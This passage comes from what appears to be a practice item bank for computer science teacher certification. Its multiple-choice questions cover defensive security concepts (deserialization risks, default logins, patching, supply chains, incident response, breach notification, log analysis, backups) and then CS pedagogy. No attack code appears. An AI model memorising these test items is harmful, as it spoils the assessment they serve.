D. requiring file names to contain only lowercase letters and a single period

Answer: page 1062

Insecure deserialization

0004.e.6.1

An application saves a user's settings as text in a browser cookie. On each visit, it rebuilds the settings object from the cookie and calls the object's startup routine. A reviewer considers this design dangerous primarily because:

A. the settings will be lost whenever a user chooses to clear the browser's cookies.

B. other websites can read every cookie that is stored by the same browser.

C. a user can alter the stored data to make unintended code run on the server.

D. the object must be rebuilt on each visit, which makes the server slow to respond.

Answer: page 1062

0004.e.6.2

A service receives data from client programs and must convert it back into structured values. Its current library will rebuild objects of any type named in the data. Which change most directly reduces the risk from manipulated data?

A. accepting a simple data format and validating values against an expected structure

B. compressing the data so that people find it unreadable

C. keeping the data format private from outside parties

D. sending the data over an encrypted connection, so that it is trusted as coming from clients

Answer: page 1062

0004.e.6.3

A team stores converted preferences in cookies using Base64, an encoding that turns bytes into letters, digits, and a few symbols. The team's lead argues that users cannot tamper with values that look unreadable. The argument fails because Base64:

A. is reversible by anyone, so a value can be decoded and altered.

B. is rejected by current browsers, so values never return unchanged.

C. makes the data too large for browsers to send to a server.

D. is a form of encryption with its key stored in each cookie.

Answer: page 1062

0004.e.6.4

A server must notice whether session data kept in a client's browser has been changed. Which safeguard provides this assurance?

A. a cryptographic signature that the server checks on each request

B. a Base64 encoding that is applied before the data is stored

C. an encrypted connection between the browser and the web server

D. a longer and less predictable name for the cookie that holds it

Answer: page 1062

0004.e.6.5

An advisory warns of a flaw in a library function that rebuilds objects from Extensible Markup Language (XML). An application uses this function only on files created internally, which no outside party can edit. Which assessment of the flaw is most reasonable?

A. exposure cannot be judged at all until an attack on this application has been recorded

B. exposure is the same as for a public service, as severity alone fixes the risk

C. exposure is zero, as XML is a text format and cannot affect what a program does

D. exposure is lower if untrusted input cannot reach it, which should be checked

Answer: page 1062

Default and weak credentials

0004.e.7.1

A school installs networked thermostats. A student discovers that they can be controlled from any browser on campus by using a login printed in the manual on the manufacturer’s website. The weakness is best described as:

A. a wireless signal reaching beyond the classrooms.

B. a firmware update that replaced the original settings.

C. missing encryption on traffic to the thermostats.

D. a published factory login left in place.

Answer: page 1062

0004.e.7.2

A network scan shows that 200 newly installed security cameras all accept the same login from the manufacturer. Installers argue that this arrangement simplifies maintenance. Which action should take priority?

A. assigning each camera its own credentials and restricting which networks can reach it

B. leaving the cameras unchanged until a log shows an attempt to use the login

C. renaming each camera, so that scans do not reveal who manufactured the devices

D. keeping the shared login, but recording it in an internal maintenance document

Answer: page 1062

0004.e.7.3

A malicious program scans the Internet for connected devices and tries a few dozen factory username and password pairs on each one. It takes over hundreds of thousands of devices. Such a short list succeeds at this scale mainly because:

A. the program reads each device's password directly from its network traffic.

B. connected devices can store only very short passwords, so few can exist.

C. many devices stay in service with logins that their makers published.

D. a single password is required by regulation on devices of this kind.

Answer: page 1063

0004.e.7.4

A district is writing purchasing requirements for connected classroom devices, and it wants to avoid logins that anyone could look up. Which requirement best fits this goal?

A. each unit must use a default password of twelve characters

B. each unit must share one password across the district for easier administration

C. each unit must ship with a unique password or force a change at setup

D. each unit must list its default password in a manual that only IT staff receive

Answer: page 1063

0004.e.7.5

Staff change the administrator password in a router's web interface. A researcher later finds that a remote-management service on the router still accepts a factory account absent from that interface. Why does the risk remain?

A. A hidden account slows the router, which weakens its passwords.

B. The new password is copied to the manufacturer, who may then share it with others.

C. Anyone who learns the hidden login can bypass the password that staff changed.

D. The remote service stores the changed password in a form that attackers can read.

Answer: page 1063

Unpatched software

0004.e.8.1

An investigation finds that attackers entered a company's server through a flaw for which the vendor had released a fix a year earlier. The company had delayed updates to avoid downtime. Which conclusion does this evidence best support?

A. The attack could not have been stopped, since determined attackers usually get in.

B. The company's update practice, rather than an unknown flaw, was the main failure.

C. The vendor bears the main fault, since software should not ship with flaws.

D. The attack was a zero-day, since the company itself had no knowledge of the flaw.

Answer: page 1063

0004.e.8.2

A school cannot say which software versions its 600 computers are running. To improve patching, the school should first:

A. require staff to set longer passwords.

B. install a new firewall at its Internet connection.

C. replace its oldest computers, since those are the ones that need updates.

D. build an inventory of its hardware and software.

Answer: page 1063

0004.e.8.3

A lab computer runs an operating system whose vendor has stopped issuing security updates, and one specialized program used in a science course works only on that system. Which approach best manages the risk?

A. connecting it to the main network, so that it can receive any further updates

B. leaving it as it is, because attackers concentrate on recent operating systems

C. adding a stronger login password, so that remote attacks on the system will fail

D. isolating the computer from general networks while planning its replacement

Answer: page 1063

0004.e.8.4

A bulletin lists a flaw as `CVE-2026-12345`. This label is useful to an administrator because it:

A. identifies the network address of the group exploiting the flaw.

B. serves as the license code for downloading the vendor's fix.

C. gives the flaw a standard name that different sources all use.

D. shows that the flaw has been fixed on all affected systems.

Answer: page 1063

0004.e.8.5

A vendor ships an update, and within days, researchers who compared the old and new versions publish what changed. An administrator had planned to install it at the end of the semester. The best reason to install it sooner is that:

A. updates stop working unless installed within a fixed period.

B. the published comparison has identified the administrator's systems to attackers.

C. attackers can study the changes to build attacks on systems not yet updated.

D. the vendor will withdraw the update now that the changes are public.

Answer: page 1063

Supply chain attacks

0004.e.9.1

A company installs a routine update from a trusted accounting vendor, and its digital signature checks out. Months later, the update is found to contain a backdoor added when the vendor's build system was breached. The signature failed to protect the company because:

A. the malicious code was added before signing, so the signature covered it.

B. signatures show only that a file arrived through an encrypted connection.

C. signatures expire quickly, and this one had lapsed before the installation.

D. signature checks apply to operating systems rather than to business software.

Answer: page 1063

0004.e.9.2

A developer means to install a well-known code package but types a slightly different name. The package that installs instead steals stored credentials. Which practice would most directly have prevented this outcome?

A. downloading each package over an encrypted connection from the package repository

B. verifying package names and sources, and installing from a list of approved versions

C. scanning the team's own source code for errors before each release of its product

D. writing comments in the code that explain why each package has been added

Answer: page 1063

0004.e.9.3

A web team adds one small library to its product, and the installer brings in forty other packages on which it relies. A reviewer raises a concern, although the team vetted the library itself. The concern is best explained by the fact that:

A. packages not chosen directly cannot receive security updates.

B. installing many packages at once disables the signature check on the first one.

C. each of those packages adds code that could be vulnerable or compromised.

D. publicly available code is inherently vulnerable, since anyone is able to read it.

Answer: page 1063

0004.e.9.4

After news of a serious flaw in a logging library, which record would best show a company which of its products include it, even indirectly?

A. open support tickets for each product

B. a diagram of the internal network

C. a software bill of materials for each product

D. the list of licenses purchased from software vendors

Answer: page 1063

0004.e.9.5

Attackers who want access to a large bank first compromise a small firm that maintains the bank’s software and holds remote access to the bank’s systems. This route is attractive to attackers mainly because:

A. the smaller firm may be less defended, yet its access is trusted by the bank.

B. banks are prohibited from monitoring activity on the accounts of their vendors.

C. a bank’s data is legally owned by the firms that maintain its software systems.

D. a bank’s own systems cannot be reached from the Internet by any other route.

Answer: page 1063

Excessive mobile permissions

0004.e.10.1

A free photo-filter app requests access to a phone's contacts, text messages, and precise location. A student argues that these requests must be acceptable, since the app is offered in the official store. The strongest response is that:

A. store approval is meaningful for paid apps, and this app is free.

B. photo filters require such data to match the pictures with their subjects.

C. permissions mainly affect an app's battery and storage use.

D. store approval does not ensure that the requests fit the app's purpose.

Answer: page 1063

0004.e.10.2

A language-learning app requests microphone access. Which question best helps a parent judge whether this request is reasonable?

A. Has the app been downloaded by a large number of other families?

B. Does a feature, such as pronunciation practice, depend on the microphone?

C. Does the phone have enough storage to keep the app's recordings?

D. Is the phone's microphone made by a well-known manufacturer?

Answer: page 1063

0004.e.10.3

A flashlight app's listing shows that it requests the phone's contact list and precise location, and its privacy policy states that it shares such data with advertising partners. A reviewer would most appropriately classify this as:

A. a denial-of-service attack against the phone's location services.

B. a privacy risk from access unrelated to the app's function.

C. a buffer overflow in the code that controls the phone's light.

D. an acceptable cost, because disclosed data sharing carries no risk.

Answer: page 1063

0004.e.10.4

A phone's settings allow a navigation app to read location either at all times or only while the app is open. Since directions are needed only during use, a school's device administrator selects the second setting. This choice best reflects:

A. blocking the app from sharing location with its vendor.

B. granting only the access that a function requires.

C. encrypting location data before it leaves the phone.

D. verifying the app's identity before it is installed.

Answer: page 1063

0004.e.10.5

A school must choose one of two note-taking apps for student tablets. The apps offer the same features at the same price. One requests only camera access, while the other requests camera, contacts, and location. Which decision is best supported?

A. choosing the first, since reduced access limits what could be misused

B. choosing the second, since more permissions indicate a fuller set of features

C. choosing the second, since apps asking for more undergo a closer store review

D. choosing either, since a school's network limits what apps collect

Answer: page 1064

Vulnerability, threat, and exploit

0004.e.11.1

A report on a school's network states the following: "Our VPN appliance has an unpatched flaw. A criminal group is targeting schools. A public tool automates attacks on this flaw." Which option correctly classifies these three elements, in order?

A. threat, exploit, vulnerability

B. exploit, vulnerability, threat

C. vulnerability, exploit, threat

D. vulnerability, threat, exploit

Answer: page 1064

0004.e.11.2

A scan reports the same flaw, rated the same, on two servers. One faces the Internet and holds student records, and the other is an isolated test machine with no real data. With time to fix only one today, an administrator should address:

A. the test machine, since it is quick to fix and shows progress.

B. either server, since an identical rating means an identical risk to the school.

C. the public server, since both likelihood and impact are greater there.

D. neither server, since a flaw poses no risk until someone has exploited it.

Answer: page 1064

0004.e.11.3

A manager tells a school board, “We have no vulnerabilities, because no one has ever attacked us.” Which statement best identifies the error in this reasoning?

A. An attack tends to occur after an organization discloses flaws.

B. A vulnerability is the group that might attack, so the claim concerns the wrong thing.

C. A lack of attacks shows low impact, which is what a vulnerability measures.

D. A weakness can exist whether or not anyone has tried to use it.

Answer: page 1064

0004.e.11.4

With three staff members, a school district faces a list of 200 reported flaws and cannot fix all of them this month. Which approach to ordering the work is most defensible?

A. working from the newest reports to the oldest, since recent reports matter most

B. following the vendors’ severity ratings alone, as they reflect each local system

C. starting with the flaws that are quickest to fix, so that the count falls fastest

D. ranking flaws by severity, exposure of the systems, and evidence of active attacks

Answer: page 1064

0004.e.11.5

A vendor rates a flaw in a student records product as critical. A district has already placed the system behind strict access controls, so that it can be reached from only one office. These controls are best described as measures that:

A. may lower the district’s actual risk, although the flaw itself remains.

B. raise the flaw’s severity, since attackers must work harder.

C. have little effect, since controls do not change how likely an attack is to succeed.

D. remove the flaw, so that the vendor’s fix is unnecessary.

Answer: page 1064

0004.f Preventing and responding to breaches

Read about this in the content summary: 0004.f, page 154.

Immediate response to malware

0004.f.1.1

A teacher's laptop displays a ransom message, and files are becoming unreadable. The laptop is connected to the school's wireless network. Which action should the teacher take first?

A. restarting the laptop repeatedly in order to clear the message from the screen

B. disconnecting the laptop from the network and notifying the IT department

C. paying the ransom quickly so that fewer of the files are affected by the attack

D. saving copies of the remaining files onto a shared drive on the school's network

Answer: page 1064

0004.f.1.2

A message on an infected office computer invites the user to open a chat window and negotiate with the people who locked the files. The help desk should advise the user to:

A. reply that the files are backed up, so that attackers lose interest.

B. leave the chat unanswered and report the message to the IT department.

C. open the chat and ask for one sample file to be unlocked as proof of good faith.

D. open the chat and offer a smaller sum, which limits what the attackers will demand.

Answer: page 1064

0004.f.1.3

A web page suddenly fills the screen of a staff computer, claiming that a virus has been found and directing the user to call a listed number at once for support. Which response is best?

A. closing the page without calling, then contacting IT through its usual channel

B. entering a staff password on the page so that a scan can begin

C. downloading the scanner named on the page, then running it to confirm the warning

D. calling the number, then checking that the agent is certified before giving access

Answer: page 1064

0004.f.1.4

A student plugs a USB drive found in a hallway into a library computer, and unfamiliar windows begin opening on their own. The student should:

A. close each window and keep working, as the windows will stop appearing.

B. stop using the computer and tell a teacher or IT staff immediately.

C. erase the computer's internal drive before anyone else can use it.

D. try the drive on a second computer to see whether the problem repeats.

Answer: page 1064

0004.f.1.5

IT responders disconnect an infected server from the network but leave it powered on while they work, although a colleague wants it shut off immediately. The responders' choice is best explained by the fact that:

A. data held in memory may show what happened and would be lost at shutdown.

B. a machine cannot restart once malware infects its startup files.

C. powering down an infected machine would spread the malware across the network.

D. malware can do no more damage on a machine that stays powered on and isolated.

Answer: page 1064

Responding to stolen credentials

0004.f.2.1

A website notifies a user that the password for an account was exposed in a breach. The user had also used that password on an email account. Which response is most complete?

A. waiting to see whether suspicious activity appears before changing either of the passwords

B. changing the website's password now, and the email password at the next routine reset date

C. deleting the website account, which removes the exposed password from the attackers' hands

D. changing both passwords, ending active sessions, enabling MFA, and reporting the incident

Answer: page 1064

0004.f.2.2

A staff member changes a stolen password at 9:00 a.m. At 11:00 a.m., the account's activity log shows messages still being sent from a browser that signed in before the change. The most likely explanation is that:

A. the activity log is recording earlier messages with the wrong times attached.

B. the new password was copied to the attacker when it was saved to the account.

C. the attacker's existing session remained active after the password change.

D. the password change needs a day to reach the mail server.

Answer: page 1064

0004.f.2.3

A staff member realizes that a work password was entered on a fake login page. No unusual activity appears on the account, and a colleague says that reporting is therefore unnecessary. The colleague's reasoning is weak because:

A. a report cancels the attack by removing all copies of the password.

B. employees must personally report such events to the state within one day.

C. fake login pages usually cause visible harm within hours, so harm has been overlooked.

D. misuse may not be visible yet, and early notice lets IT check and act.

Answer: page 1064

0004.f.2.4

An alert shows that an email account was accessed from another country. The owner changes the password and ends active sessions. Which further step best addresses what the intruder may have left behind?

A. reviewing settings, such as mail forwarding rules, and enabling multi-factor authentication

B. changing the account's display name and profile picture to show that it is secured

C. switching to a different web browser on the same computer for the owner's email

D. deleting older messages, so that less can be read if the intruder returns later on

Answer: page 1064

0004.f.2.5

Attackers who have stolen usernames and passwords from a hobby website try the same pairs on banks, email providers, and school portals. Which user practice most limits the damage from this technique?

A. updating the web browser on each personal device

B. using one long and complex password across all sites

C. reading each site's privacy policy

D. using a different password for every site

Answer: page 1064

Incident response plan

0004.f.3.1

During a ransomware attack, a district's staff lose hours debating who may authorize taking systems offline. A review recommends a formal plan to prevent this. Which feature of such a plan most directly addresses the delay?

A. listing each security product that the district has purchased

B. recording the full timeline of an attack after it has ended

C. assigning roles and decision authority before any incident occurs

D. requiring all affected systems to be replaced after each incident

Answer: page 1065

0004.f.3.2

A new security coordinator is drafting the sequence of activities that a district will follow once an attack has been detected. Which ordering reflects standard practice?

A. containment, eradication, recovery, lessons learned

B. recovery, containment, eradication, lessons learned

C. containment, recovery, lessons learned, eradication

D. eradication, recovery, containment, lessons learned

Answer: page 1065

0004.f.3.3

An infected server has been disconnected from the network, and the malware and the attackers' accounts have been removed. According to a standard response plan, the team's next activity is:

A. determining whether a security incident has in fact taken place on it.

B. restoring the server to service and confirming that it works normally.

C. assigning roles for the staff who would respond to a future incident.

D. isolating the server to keep the malware from spreading to other systems.

Answer: page 1065

0004.f.3.4

A team restores its systems from backups on the first day of a breach, before learning how the attackers entered. A week later, the attackers are back inside. Which departure from the standard response sequence best accounts for this result?

A. restoring service before a report of lessons learned had been written

B. restoring service before the cause of the breach had been removed

C. identifying the attack before checking the backups

D. isolating affected systems before deciding which backups to restore

Answer: page 1065

0004.f.3.5

During a ransomware attack, an organization's staff discover that the only copy of their response plan and emergency contact list is on a file server that has been encrypted. Which change would best prevent a repeat of this problem?

A. shortening the plan, so that staff can memorize it and no copy is needed

B. storing a second copy of the plan on another server on the same network

C. keeping copies of the plan and contacts outside of the systems at risk

D. encrypting the plan, so that attackers cannot read it during an attack

Answer: page 1065

Breach notification

0004.f.4.1

A New York school district learns that an unauthorized party accessed student records. Some administrators prefer to wait until an investigation identifies who was responsible. Which course of action best reflects the district's obligations?

A. keeping the matter internal, since notice could damage the district's reputation

B. notifying the families who ask whether their children's records were affected

C. delaying notice until the responsible party has been identified and charged

D. following the notification requirements of Education Law 2-d and related state law

Answer: page 1065

0004.f.4.2

A private company in New York stores personal information about state residents and is reviewing its legal duties to secure that data and to give notice after a breach. Which law most directly sets these duties?

A. Education Law 2-d

B. the Dignity for All Students Act

C. the Sarbanes-Oxley Act

D. the SHIELD Act

Answer: page 1065

0004.f.4.3

A software vendor informs a school district that a breach of the vendor's servers exposed student data. The contract states that the vendor hosts all of the records. What should the district do?

A. ask families to change passwords and treat that as sufficient

B. carry out its own notification and response duties while working with the vendor

C. leave the response to the vendor, since the breach happened on the vendor's systems

D. delete the district's own copies of the student data to limit its legal liability

Answer: page 1065

0004.f.4.4

Critics of a breach notification law argue that a notice cannot undo the theft of personal information. Supporters would most reasonably respond that a notice is valuable because affected people:

A. can have their information erased from services that have received it.

B. can require the attackers' hosting services to return the stolen files.

C. can claim automatic payment from the organization at fault.

D. can take steps to protect themselves against misuse of the information.

Answer: page 1065

0004.f.4.5

A breach at a company exposed a database of personal data that was properly encrypted, and the keys were not taken. Before deciding which notices to send, the company should recognize that:

A. notice may be skipped wherever the privacy policy describes the company's encryption.

B. notice depends on whether the attackers announce what they took.

C. notice must follow the same rules as for readable data, as encryption has no legal bearing.

D. some laws treat properly encrypted data differently, so its facts need legal review.

Answer: page 1065

Log analysis and indicators of compromise

0004.f.5.1

An administrator reviewing a server's authentication log finds about 9,000 failed logins across hundreds of usernames within ten minutes, all from one address, followed by one successful login from that address. This pattern is best read as:

A. a password attack that has succeeded against one account.

B. a scheduled software update that failed on many servers.

C. a beacon checking in with a command-and-control server.

D. a user who forgot a password and later remembered it.

Answer: page 1065

0004.f.5.2

A network log for a locked computer lab shows one workstation contacting the same outside address every fifteen minutes through the weekend. Each request is a few hundred bytes, and each reply is only a few bytes. Which explanation do these entries best support?

A. a person browsing the web after hours from a workstation in the lab

B. a large transfer of stolen data to a server outside of the school

C. a compromised machine checking in with a command-and-control server

D. a password attack against an account that belongs to a lab user

Answer: page 1065

0004.f.5.3

An office worker's account, normally active during business hours with modest traffic, sends 40 gigabytes to an unfamiliar external server at 3 a.m. Which possibility should an analyst investigate first?

A. that the worker's computer is checking in with a command-and-control server

B. that the account has been compromised and data is being stolen

C. that the local disk is nearly full and is moving its old files to a backup

D. that another user is trying to guess the account's password

Answer: page 1065

0004.f.5.4

A company keeps detailed logs but examines them only after customers report problems, and its last intrusion went unnoticed for months. Which improvement would most directly shorten the time that attackers remain unnoticed?

A. retaining the logs for several more years before deletion

B. restricting the logs to fewer readers

C. automated alerts on unusual patterns in the logs

D. recording more detail in each entry than at present

Answer: page 1065

0004.f.5.5

After gaining administrator access to a server, an attacker deletes its local logs. Investigators are left with no record of the intrusion. Which earlier practice would best have preserved the evidence?

A. renaming the server's log files so they are harder to find

B. compressing the server's local logs each night to keep more history

C. copying each entry to a separate, protected log server

D. raising the level of detail in the server's local logs

Answer: page 1065

Prevention through secure design

0004.f.6.1

A counseling service keeps confidential notes for its clients. It wants a design in which neither a stolen database nor a dishonest employee with server access would expose the notes. Which design best meets this goal?

A. encrypting each client's notes under a key derived from the client's password and never stored

B. encrypting the database server's full disk, with the key held by the service's administrators

C. keeping all of the decryption keys on a second company server with tighter access rules

D. requiring clients to sign in with multi-factor authentication before reading any of their notes

Answer: page 1065

0004.f.6.2

A district's field-trip application asks each family for a Social Security number, which no part of the application uses. Developers are asked how to limit the harm from a future breach. The most effective change is:

A. encrypting the field, so that the number is harder to read after a theft.

B. copying the numbers to a second server, so that a spare copy always exists.

C. removing the field, so that the number is never collected or stored.

D. hiding the field on screens while still storing the number.

Answer: page 1065

0004.f.6.3

An online bookstore stores customers' full credit card numbers so that repeat purchases take fewer steps. Its developers want to keep the convenience but reduce what a breach would expose. Which approach best fits?

A. showing the last four digits while storing each full number

B. storing the card numbers for customers who bought recently

C. storing the card numbers in a table with a less obvious name

D. storing a payment processor's token in place of each card number

Answer: page 1066

0004.f.6.4

A company encrypts each customer's files with a key derived from the customer's password, and it keeps neither the key nor the password. A product manager must explain this design's main drawback to the support team. The drawback is that:

A. the company must store each password as plain text, so that files can be decrypted.

B. a customer who forgets the password may permanently lose access to the files.

C. customers can open files only on the device that encrypted them.

D. company staff can read the files whenever a customer contacts the support team.

Answer: page 1066

0004.f.6.5

A review of a new grade application finds that every teacher account can view and edit all records in the school, although teachers need access only to their own classes. Reducing each account's access to those classes is an example of:

A. network segmentation

B. load balancing

C. data minimization

D. least privilege

Answer: page 1066

Tabletop exercises

0004.f.7.1

School leaders want to find gaps in their breach response before a real event occurs, but they cannot risk disrupting systems during the school year. Which activity best meets this goal?

A. a tabletop exercise that walks staff through a simulated incident

B. a live attack on the student information system during school hours

C. a survey asking staff whether they feel prepared for an incident

D. a purchase of additional security software for all school devices

Answer: page 1066

0004.f.7.2

A district holds a half-day session in which staff, seated together, talk through how they would respond to an imagined attack. No system is touched at any point. The organizers should judge the session's success mainly by whether it:

A. ends with every participant having made the correct decision at each step.

B. exposes gaps in the response plan and in communication among staff.

C. confirms that staff passwords can withstand guessing.

D. measures how quickly network hardware can reroute traffic under an attack.

Answer: page 1066

0004.f.7.3

During a discussion-based rehearsal of a data breach, participants realize that no one knows how to reach the district's lawyer after hours. The most appropriate follow-up to this discovery is:

A. recording the gap as an error by the staff member who should have known.

B. updating the plan with contact information and clear responsibilities.

C. cancelling future rehearsals, since this one has exposed a planning failure.

D. buying a new firewall, so that legal advice will be needed less often.

Answer: page 1066

0004.f.7.4

A school's response team is choosing a scenario for its first discussion-based rehearsal of an incident. The team wants to test decision-making and communication under pressure. Which scenario would be most useful?

A. a print server is offline during weekend maintenance

B. a software vendor releases a new version that has some additional features

C. a student forgets a password for a class website and asks a teacher for help

D. ransomware encrypts the grading system during the final exam period

Answer: page 1066

0004.f.7.5

Beyond IT staff, whom should a school district include in a discussion-based rehearsal of its response to a data breach?

A. senior leaders only, since they hold the authority for all of the response decisions

B. students and parents, since they are the people who would be affected by a breach

C. leaders, communications, legal, and school staff, since an incident crosses departments

D. software vendors, since they can best explain how their own products might fail

Answer: page 1066

Recovery from backups

0004.f.8.1

A company has removed ransomware from its servers and is preparing to restore its data. Its newest backup was created two days after the infection began. Which approach is most appropriate?

A. restoring each available backup in turn, since more copies are safer

B. restoring the newest backup, since its data is most current

C. paying the attackers for current files, since backups are rarely complete

D. restoring from a clean, tested backup made before the infection

Answer: page 1066

0004.f.8.2

A district keeps its nightly backups on a storage device that remains attached to its network. A consultant recommends also keeping a copy that is offline. The main reason for this recommendation is that:

A. restoring from offline media is faster, as no network traffic is involved.

B. a network cannot carry backup traffic while a school is in session.

C. ransomware can reach and encrypt any copy that stays connected.

D. offline media hold more data than network storage.

Answer: page 1066

0004.f.8.3

After an attack, a district has rebuilt its network and must restore forty systems, one after another. Which basis for the restoration order is most appropriate?

A. which systems are the smallest and can give visible progress

B. which services are most critical to the district's operations

C. which staff member first asked for a system to be restored

D. the order in which the district originally purchased the systems

Answer: page 1066

0004.f.8.4

After a restore, teachers find that grades entered on Thursday and Friday are gone, since the last backup ran on Wednesday night. Which change would most directly reduce this kind of loss in the future?

A. encrypting each backup with a longer key

B. testing each backup with a monthly trial restore

C. running backups of the grade system more often

D. storing each backup at a second physical location

Answer: page 1066

0004.f.8.5

A team restores a server from a clean backup without closing the flaw that attackers used to enter it. The most likely result is that:

A. the flaw is corrected, as a clean backup contains only repaired versions of software.

B. attackers can return through the flaw that remains in the restored system.

C. the server's data is immune, as the backup was scanned.

D. attackers are removed for good, as a restore erases what they know about the server.

Answer: page 1066

Post-incident review

0004.f.9.1

After resolving a phishing incident, a security team meets and concludes that employees lacked a way to report suspicious messages. It then adds a reporting button and updates training. This work belongs to which phase of incident response?

A. preparation

B. recovery

C. eradication

D. lessons learned

Answer: page 1066

0004.f.9.2

Leaders scheduling a meeting one week after a contained breach disagree about what its agenda should be. Which focus is most appropriate for this meeting?

A. purging related records, so that they cannot appear in legal claims

B. choosing new products, since tools are the main remedy

C. identifying the one employee who should be held responsible for it

D. how the incident occurred and what should change as a result

Answer: page 1066

0004.f.9.3

A review finds that a breach went undetected for months because automated alerts were delivered to a mailbox that nobody checked. Which change should the organization make?

A. extending the mailbox's storage, so that no alert is lost unread

B. asking employees to report suspicious events to the same mailbox

C. reducing log sources so that fewer alerts arrive

D. routing alerts to staff who are responsible for reviewing them

Answer: page 1066

0004.f.9.4

A company adopts a review format that focuses on systems and decisions, and it does not name or penalize individuals for their mistakes. The main benefit of this format is that:

A. reviews finish faster, since causes need not be determined.

B. employees who make mistakes need less further training.

C. people are more likely to give honest accounts of what happened.

D. the company is relieved of its legal duties to notify those affected.

Answer: page 1066

0004.f.9.5

A company completes a thorough review of a breach, files the report, and moves on to other work. A similar breach occurs a year later. Which step was most clearly missing?

A. scheduling the review sooner after the incident

B. tracking the recommendations through to completion

C. writing a more detailed report for future readers

D. limiting the review to the company's technical staff

Answer: page 1067

0005 Pedagogical content knowledge

0005.a Learning goals

Read about this in the content summary: 0005.a, page 158.

Unpacking a learning goal

0005.a.1.1

A sixth-grade teacher plans for the goal "Students will debug programs that use loops." The planning notes list only "knows the term iteration" and "can explain what a loop does." The notes are incomplete because they:

A. name vocabulary, which belongs in a lesson plan and not in an analysis of a goal.

B. omit the materials and devices that each lesson needs.

C. leave out what students must be able to do with a faulty program.

D. tie the goal to loops, although debugging can be taught apart from any construct.

Answer: page 1067

0005.a.1.2

Before writing lessons for the goal "Students will use variables to store and update a score in a game," a teacher sorts its requirements into two columns. Which entry belongs in the column of what students must be able to do?

A. recognizing that a variable holds one value at a time

B. knowing that storing a value in a variable is called assignment

C. changing a stored value each time that a player earns points

D. recalling the difference between the integer and the string data types

Answer: page 1067

0005.a.1.3

A teacher lists the vocabulary needed for the goal "Students will write a conditional that awards a bonus when a score passes a set value." Which list contains the terms that this goal requires?

A. array, index, and element

B. condition, comparison operator, and Boolean value

C. function, parameter, and return value

D. iteration, counter, and stopping condition

Answer: page 1067

0005.a.1.4

For the goal "Students will evaluate a data visualization for misleading features," a teacher plans lessons that name common chart types and show how to read their axes. Which addition is most needed for students to reach the goal?

A. memorizing which chart type is conventional for showing categories and for showing trends

B. creating each chart type by hand, so that students see how the software builds them

C. judging how a design choice, such as a shortened axis, changes a reader's conclusion

D. collecting a larger data set, so that the charts display more reliable patterns

Answer: page 1067

0005.a.1.5

A department asks each teacher to begin planning from a stated goal and not from a favorite activity. Which question should open a teacher's analysis of the goal?

A. Which activity would keep students most engaged while this goal is being taught?

B. How many class periods does the pacing guide allow?

C. What would a student need to know and do in order to show this?

D. Which tool would let students practice this goal with the fewest possible errors?

Answer: page 1067

Concepts and practices

0005.a.2.1

A district's objective reads, "Students will understand loops." A curriculum coach asks for a revision that states both a computing idea and what students will do with it. Which revision meets this request?

A. Students will practice debugging by working through errors in their classmates' programs.

B. Students will correct a faulty stopping condition in a program that uses a loop.

C. Students will spend two class periods exploring loops in a programming environment.

D. Students will describe what a loop is and list the kinds used in programs.

Answer: page 1067

0005.a.2.2

A teacher's unit map has one column for computing concepts and another for practices. Which entry belongs in the column for practices?

A. repeating a group of statements with a loop

B. storing related values together in an array

C. collaborating with a partner on a shared program

D. representing text as numbers in binary form

Answer: page 1067

0005.a.2.3

Students in a class can write an accurate definition of abstraction on a quiz, yet they cannot simplify a program by moving repeated code into a function. This result most likely suggests that:

A. students have met the goal, because recalling a definition shows conceptual understanding.

B. students lack the vocabulary, so more definitions should be taught before the next unit.

C. the quiz was too easy, so the definition needs harder terms.

D. instruction stressed the idea, so students had too little practice applying it.

Answer: page 1067

0005.a.2.4

In a unit plan, every objective begins with a phrase such as “Students will debug,” “Students will test,” or “Students will collaborate,” and none of them mentions any programming content. Which concern about the plan is most justified?

A. The objectives describe what the teacher does and not what students are expected to do.

B. The objectives are hard to measure, because debugging and testing are internal processes.

C. The objectives leave unstated which computing ideas students are to use as they work.

D. The objectives come too early, since this work should follow mastery of the concepts.

Answer: page 1067

0005.a.2.5

A coach reads the objective “Working in pairs, students will write conditionals that validate form input, and they will revise the conditionals after testing.” Which statement correctly separates the parts of this objective?

A. Pairs and forms are the concepts; writing code is the only practice.

B. Conditionals and testing are concepts; validating input is the practice.

C. Input validation is the concept; conditionals and testing are practices.

D. Conditionals are the concept; collaborating and testing are practices.

Answer: page 1067

Writing measurable objectives

0005.a.3.1

A teacher’s first draft of an objective reads, “Students will know about arrays.” The department requires that an objective be measurable. Which revision best meets this requirement?

A. Given an unsorted array, students will write a loop that returns its largest value on all test cases.

B. Students will write several array programs and become familiar with common operations.

C. Given a lecture and slides, the teacher will demonstrate how a loop can find the largest value in an array.

D. Given a lesson on arrays, students will gain a deep understanding of how arrays store and organize values.

Answer: page 1067

0005.a.3.2

A teacher is revising an objective about how a loop runs. Which wording gives evidence that another teacher could directly check?

A. understand how the counter changes on each pass

B. become aware of the counter's value on each pass

C. trace the value of the counter during each pass

D. appreciate why the counter changes on each pass

Answer: page 1067

0005.a.3.3

A teacher's objective states, "Students will write a function." A colleague says that it does not tell anyone what an acceptable performance would be. Which addition would most improve the objective?

A. the reason that functions matter to professional developers who write software

B. the starting materials that students receive and the standard that counts as success

C. the amount of class time and the number of students in each working group

D. the list of lessons and activities that will lead up to the writing task

Answer: page 1067

0005.a.3.4

A second-grade teacher writes, "Given a reference sheet, students will implement a recursive sorting algorithm that passes all tests." An instructional coach objects to the objective. Which objection is strongest?

A. Its condition is too specific, because objectives should not mention materials.

B. Its expected performance is too advanced, because it does not fit this grade band.

C. Its verb is hard to observe directly, so the performance is hard to assess.

D. Its criterion is vague, because passing tests is not clear evidence of learning.

Answer: page 1068

0005.a.3.5

A teacher compares four draft objectives for a data unit and wants the one that states both what students are given and how the result will be judged. Which draft best fits?

A. Students will create clear and attractive bar charts that show an understanding of data.

B. Students will create a bar chart after studying examples of good charts in class.

C. Using a provided data set, students will create a bar chart with both axes labeled.

D. Using spreadsheet software, students will explore how bar charts can display a data set.

Answer: page 1068

Using learning progressions

0005.a.4.1

A teacher is planning a lesson on a grade 9-12 standard about functions with parameters, and several students seem unprepared for it. To identify what those students may be missing, the teacher should first review:

A. the practice materials for the end-of-course exam.

B. earlier standards that address the same concept.

C. other grade 9-12 standards on different concepts.

D. the syllabus of a later course.

Answer: page 1068

0005.a.4.2

A grade 7-8 teacher whose students are meeting a standard on algorithms reads the grade 9-12 standard on the same concept. Reading this later standard most directly helps the teacher:

A. justify teaching the grade 9-12 standard to the entire class at the present time.

B. determine which prerequisites students may have missed during earlier grades.

